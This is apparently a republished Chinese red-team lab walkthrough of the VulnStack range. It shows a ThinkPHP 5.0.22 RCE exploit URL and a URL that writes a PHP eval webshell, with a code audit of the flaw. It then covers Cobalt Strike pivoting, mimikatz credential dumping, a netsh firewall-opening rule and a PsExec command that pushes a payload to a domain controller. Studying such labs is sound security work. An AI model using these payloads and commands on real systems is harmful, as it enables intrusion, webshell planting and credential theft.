ATT&CK实战| VulnStack红队(五) – 作者:Setup

v2-29a2c0fc3c187e2191f0747884d3cc1f_1440

——————   昨日回顾  ——————  

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!(来源:红日安全)

Web安全 | Java-SQL注入实战

0 (1).jpeg

—————— —————— —————

Web安全新项目启程

大家好,Web安全小组开了一个新项目,为了更好的理解漏洞和提高自学能力,本次主要自己搭建靶场,编写系列攻防文档,文档内容必须包括 信息收集部分+漏洞挖掘部分(包括Web漏洞不少于两种或者是主机漏洞或者是其它中间件漏洞+代码审计部分(必须审计一种相关漏洞)+主机信息收集+提权  必须涵盖以上内容一个WP  ,最后的提交内容(靶场+WP+自己设计题目的思路图)。另外Web 小组开始招新了,喜欢挑战自己,并且自学能力强的,欢迎加入红日!!!〜〜〜〜〜

环 境

Win7 +phpstudy+thinkphp(5.0.22) 

ip  192.168.135.150

ip  192.168.138.136

Win2008         

ip 192.168.138.138

攻击机 win10         

ip   192.168.135.143

外 网 渗 透

访问192.168.135.150

image.png

目录扫描后发现一个robots.txt 和add.php后门

2.1

此处可以去用爆破工具爆破  也算一种方法image.png

2.2

rce漏洞

输入错误页面  出现thinkphp版本号

image.png

找到此版本漏洞的poc  可以命令执行

http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image.png

看下当前路径

image.png

写入一句话木马

http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%27hacker%27]);%20?^%3E%20%3E%20C:\phpStudy\PHPTutorial\WWW\public\system.php

image.png

代码审计分析

Rce payload

http://xxxx.xxx.xxx.xxx/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.0.x补丁位置

https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

image.png

来到App.php 看看改之前的代码 controller没有做好过滤

image.png

1.因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数

image.png

2.由于$dispatch为空 进入routeCheck函数,路径变量$path为index/think\app/invokefunction

image.png

3.由于$result=false,会进入parseUrl函数

image.png

4.parseUrl函数在route.php里,/会换成|,进入parseUrlPath

image.pngimage.png

5.此时explode函数把$url打散成了数组

image.pngimage.png

6.回到parseUrl函数会进入else,然后return返回 封装路由后返回如下

image.pngimage.pngimage.png

7.把$route带到routeCheck函数,然后传给$result,再跳回run函数

image.png

8.保存了信息后$dispatch进入了exec函数

image.pngimage.png

9.这里由于$dispatch的type为module,进入moduleimage.png

10.这里的$result值如下

image.png

11.接着往下跟 来到了补丁处 ,$controller就是$result第二个元素值,第二个红框处会改变操作名变量 $actionName为invokefunction

image.png

12.进入if语句后,会获取类名和方法名,最后return的值,$call如下,$var为空

image.png

image.png

13.$args会获取poc余下参数&function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,最后invokeargs函数以数组方式传递,执行call_user_func_array函数 相当于call_user_func_array(“system”,”whoami”)

image.png

14.最后回到exec &data也就是执行命令的回显数据

image.png

然后菜刀连接

image.pngimage.png

当前权限是含有域环境的administrator权限

内 网 渗 透

3.1主机信息收集

看一下 arp信息 发现 138段有一台机器

image.png

看下ip  dns 为192.168.138.138 域名sun.com

image.png

ping下sun.com

image.png

域控ip就是192.168.138.138

看下域用户

image.png

3.2

内网横向移动

接下来攻击域控就用cs来完成

首先要让我们win7上线 由于可以win7可以出网

创建监听器 之后生成windows的exe木马

image.png

生成之后传到受害主机上,运行cs.exe

image.pngimage.png

主机上线 运行mimikatz 读到了域管理员的密码

image.png

此时还是administrator权限,这里用cs的提权方法

image.png

可以看到system权限的win7已经上线

image.png

去运行mimikatz读到了Administrator和leo的密码

image.png

得到凭证后可以扫一下内网可以用psexec登录的主机,基于ipc共享,要打开445端口才可以,所以扫一下445端口

portscan 192.168.138.0/24 445 arp 50

Portscan 网段 端口 协议(icmp arp none)线程

image.png

现在可以看到目标dc了

image.png

如果目标主机可以出网就可以用以下操作

image.png

由于这里的dc主机是不能出网的 但是cs服务端又是架设在互联网的

这时候就要用已经上线主机做listener 来让dc主机上线

在已经上线的主机上 创建listener

image.png

把6666端口来监听

image.png

可以看到已经开始监听了

image.png

这时候再来生成后门

image.png

选择新的listener

image.png

把自己的psexec 和 木马传到win7上

image.png

3.3

连接域控

由于win7开着防火墙,dc在连接6666端口时进不来

手动添加防火墙规则

netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666

到靶机看到命令行添加的规则

image.png

Shell C:\phpStudy\PHPTutorial\WWW\public\PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\nei.exe

image.png

此时可以看到dc主机也已经上线

image.png

又收到了新的密码

image.png

banner.jpg

海量安全课程   点击以下链接   即可观看 

http://qiyuanxuetang.net/courses/

来源:freebuf.com 2020-03-25 10:33:22 by: Setup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论